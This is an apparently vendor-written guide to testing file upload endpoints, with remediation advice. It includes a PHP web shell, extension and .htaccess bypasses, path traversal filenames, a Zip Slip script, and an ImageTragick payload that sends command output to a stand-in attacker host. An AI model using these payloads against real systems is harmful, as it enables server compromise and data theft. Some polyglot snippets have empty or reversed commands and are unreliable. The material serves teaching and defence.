File Upload Security Testing: Finding and Fixing Common Vulnerabilities
File upload functionality is one of the most attack-rich surfaces in web applications. An endpoint that accepts files has to get a lot of things right simultaneously: validate the file type, restrict the filename, store the file safely, control who can access it later, and process it without triggering vulnerabilities in downstream parsers. Failing at any one of these creates an exploitable condition — and most applications fail at several.
This guide covers the full attack surface: client-side bypass, MIME type manipulation, extension filtering evasion, polyglot files, path traversal via filenames, web shell upload, file processing vulnerabilities, and post-upload access control issues. For each technique, you'll find test cases, typical scanner blind spots, and what a proper fix looks like.
The File Upload Attack Surface
Before testing specific bypass techniques, map what the endpoint actually does with uploaded files:
- Is the file stored and served back? Can you access the uploaded file via a direct URL? If the file is stored in a web-accessible directory and served with its original MIME type, you have the prerequisites for web shell execution.
- Is the file processed server-side? Images resized, PDFs parsed, archives extracted, documents converted — each processing step introduces its own vulnerability class.
- Where is it stored? Same domain as the application, a subdomain, an S3 bucket, or a CDN? Storage location determines what's exploitable from a stored file.
- What happens to the filename? Is the original filename preserved, sanitized, or replaced? Preserved filenames enable path traversal and extension bypass attacks.
Client-Side Bypass
The most trivial bypass: many applications implement file type validation only in JavaScript on the client side. Remove or modify the validation in your browser's DevTools and submit the form — the server accepts anything.
Testing steps:
- Open DevTools → Elements, find the
<input type="file" accept=".jpg,.png">element. - Remove or modify the
acceptattribute. - Select a PHP file in the browser's file dialog.
- If the file uploads successfully: pure client-side validation, no server-side check.
Alternatively, intercept the upload request in Burp Suite and change the filename and content-type header on the already-selected file.
MIME Type and Content-Type Bypass
Servers that validate file type by checking the Content-Type header from the HTTP request are trivially bypassed — the client controls this header:
# Original request
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----boundary
------boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php ← server rejects this
<?php system($_GET['cmd']); ?>
# Modified request — change Content-Type to image/jpeg
------boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg ← server accepts this
<?php system($_GET['cmd']); ?>
If the server only validates the MIME type and not the actual file content or extension, this bypass works. Test by uploading a PHP web shell with Content-Type: image/jpeg.
Magic Bytes and File Signature Bypass
More robust implementations validate the file's magic bytes (the initial bytes that identify the file type) rather than the MIME header. Prepend the expected magic bytes to your payload to pass this check:
# PNG magic bytes: 89 50 4E 47 0D 0A 1A 0A
# PHP shell with PNG header prepended
printf '\x89\x50\x4e\x47\x0d\x0a\x1a\x0a' > shell.php.png
echo '' >> shell.php.png
# JPEG magic bytes: FF D8 FF E0
printf '\xff\xd8\xff\xe0' > shell.jpg
echo '' >> shell.jpg
# GIF magic bytes: GIF89a
echo 'GIF89a' > shell.gif
If the server validates magic bytes but trusts the file extension for execution (or if you can control the extension separately), this enables web shell upload disguised as an image.
Extension Filtering Bypass
Applications often maintain a blocklist of dangerous extensions (.php, .asp, .jsp) rather than an allowlist of safe ones. Blocklists are incomplete:
| Platform | Bypass Extensions |
|---|---|
| PHP | .php3, .php4, .php5, .php7, .phtml, .pht, .phar, .inc |
| ASP/ASPX | .asp;, .aspx., .cer, .asa, .ashx, .asmx, .axd |
| JSP | .jspx, .jsw, .jsv, .jspf |
| Any (case sensitivity) | .PHP, .Php, .PHp on case-insensitive filesystems |
| Any (null byte) | shell.php%00.jpg (older PHP/CGI) |
| Any (double extension) | shell.jpg.php (if last extension determines handler) |
Overriding Execution with .htaccess
On Apache servers where AllowOverride is enabled, upload a .htaccess file to the same directory to make the server execute .jpg files as PHP:
# Upload as .htaccess
AddType application/x-httpd-php .jpg
# Then upload shell.jpg and access it — executed as PHP
This is one of the highest-impact bypasses when it works, because it turns the entire upload directory into a PHP execution context.
Path Traversal via Filename
When the server preserves the uploaded filename in the storage path, you can potentially write files outside the intended upload directory:
# Encoded traversal in filename
filename="../../../var/www/html/shell.php"
filename="..%2F..%2F..%2Fvar%2Fwww%2Fhtml%2Fshell.php"
filename="....//....//....//var//www//html//shell.php"
# Overwrite existing files
filename="../../html/index.php" # overwrite the application's index
# Windows path separators
filename="..\\..\\..\\\Windows\\System32\\Drivers\\etc\\hosts"
Test by intercepting the upload request and modifying the filename in the Content-Disposition header. Observe whether the server reflects the stored file path, and whether requests for ../../../etc/passwd resolve to the expected location.
Polyglot Files
A polyglot file is a file that is simultaneously valid in two different file formats. The classic example is a valid JPEG image that also contains valid PHP code:
# Method 1: embed PHP in EXIF data
exiftool -Comment='' legitimate_image.jpg
# Result: passes image validation, server stores it as .jpg
# If served with PHP handler, executes the EXIF comment
# Method 2: append to IEND chunk (PNG)
cat legitimate.png >> php_code.txt
# PNG parsers ignore data after IEND; PHP executes the appended code
# Method 3: ImageMagick-targeted polyglot (ImageTragick)
# Image containing MVG commands in the filename or content
# Triggers command execution in vulnerable ImageMagick versions
Polyglots are particularly effective when the application validates the image using a library like PIL/Pillow (which reads the image data) but stores and serves the raw bytes from the original upload (which includes the injected code).
Archive Extraction Vulnerabilities
Applications that extract user-uploaded ZIP, TAR, or JAR archives are vulnerable to:
Zip Slip (Path Traversal in Archives)
# Create a malicious zip with path traversal entries
python3 -c "
import zipfile, io
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
z.writestr('../../../var/www/html/shell.php', '')
with open('malicious.zip', 'wb') as f:
f.write(buf.getvalue())
"
# Tool: evilarc (https://github.com/ptoomey3/evilarc)
python evilarc.py -d 5 -p var/www/html -o unix shell.php
When the server extracts this archive without normalizing paths, shell.php lands outside the intended extraction directory — potentially in the web root.
Zip Bomb
A specially crafted archive that decompresses to a massive size (petabytes of zeros from a tiny archive). Upload it to test whether the application limits extraction size or is vulnerable to resource exhaustion.
Image Processing Vulnerabilities
ImageMagick is the canonical example of dangerous image processing. The ImageTragick vulnerability (CVE-2016-3714) allowed command execution through specially crafted image files:
# ImageMagick MVG/MSL injection
# Upload this as shell.jpg (or manipulate via Content-Type)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/|id; wget http://attacker.com/?$(id))'
pop graphic-context
Even patched ImageMagick versions have historically had SSRF and file read vulnerabilities. Test image upload endpoints by submitting SVG files (which ImageMagick processes and which can contain <!ENTITY> declarations for XXE), and EPS/PS files with PostScript injection.
Post-Upload Access Control
Even if file type validation is solid, the stored file may be accessible to unauthorized users:
- Predictable storage paths — Files stored at sequential IDs (
/uploads/1234.jpg) allow IDOR enumeration of other users' files. - Missing authentication on retrieval — Upload endpoint requires auth; download endpoint (
/files/{uuid}) does not. - Direct S3 bucket access — Application uploads to S3 with a public-read ACL. Any file uploaded by any user is publicly accessible via the S3 URL.
- Content served from same origin — User-uploaded HTML or SVG files served from the application domain can contain scripts that execute in the application's security context.
# Test IDOR on file retrieval
# 1. Upload a file, note the returned file ID or path
# 2. Log out or switch to a different account
# 3. Request the file path directly — should return 403
# Test direct S3 access
# 1. Upload a file, capture the application's presigned or direct S3 URL
# 2. Remove the authentication parameters from the URL
# 3. If the file is accessible: bucket is misconfigured with public-read
Testing Checklist
| Test | What It Finds |
|---|---|
Upload .php with Content-Type: image/jpeg | MIME type only validation |
Upload .php with JPEG magic bytes prepended | Magic byte only validation |
Upload .phtml, .php5, .phar | Incomplete extension blocklist |
Upload .PHP (uppercase) | Case-sensitive extension check on insensitive FS |
Upload with filename ../../shell.php | Path traversal in filename handling |
Upload .htaccess with AddType | Server config override via upload |
| Upload ZIP with path traversal entries | Zip Slip |
| Upload SVG with XXE payload | SVG processing XXE |
| Upload EXIF-injected JPEG | EXIF metadata injection |
| Access another user's uploaded file | IDOR on file retrieval |
| Access file without auth token | Missing auth on retrieval |
Remediation
Allowlist Extensions and MIME Types
Use an allowlist, not a blocklist. Define exactly what file types are accepted and reject everything else:
# Python — validate both extension and magic bytes
import magic # python-magic
ALLOWED_EXTENSIONS = {'.jpg', '.jpeg', '.png', '.gif', '.pdf'}
ALLOWED_MIMES = {'image/jpeg', 'image/png', 'image/gif', 'application/pdf'}
def validate_upload(file):
ext = os.path.splitext(file.filename)[1].lower()
if ext not in ALLOWED_EXTENSIONS:
raise ValueError("Extension not allowed")
file_bytes = file.read(2048)
file.seek(0)
detected_mime = magic.from_buffer(file_bytes, mime=True)
if detected_mime not in ALLOWED_MIMES:
raise ValueError("File content doesn't match allowed types")
Generate New Filenames Server-Side
Never use the client-supplied filename in the storage path. Generate a UUID or random name server-side and track the original filename in your database:
import uuid, os
def store_file(upload):
ext = os.path.splitext(upload.filename)[1].lower() # from allowlist
safe_filename = f"{uuid.uuid4()}{ext}"
storage_path = os.path.join(UPLOAD_DIR, safe_filename)
upload.save(storage_path)
# Store original name in DB for display purposes only
return safe_filename
Store Outside the Web Root
Upload directories should not be directly accessible via HTTP. Serve files through an application endpoint that enforces authentication and authorization before streaming the file content.
Disable Execution in Upload Directories
# Nginx — disable PHP execution in uploads dir
location /uploads/ {
location ~ \.php$ { deny all; }
}
# Apache
<Directory /var/www/html/uploads>
php_flag engine off
AddType text/plain .php .phtml .php5
</Directory>
File upload vulnerabilities range from trivial client-side bypasses to complex polyglot exploits. Ironimo tests upload endpoints across the full attack surface — extension bypass, path traversal, archive extraction, and access control — not just MIME type validation.
Start free scan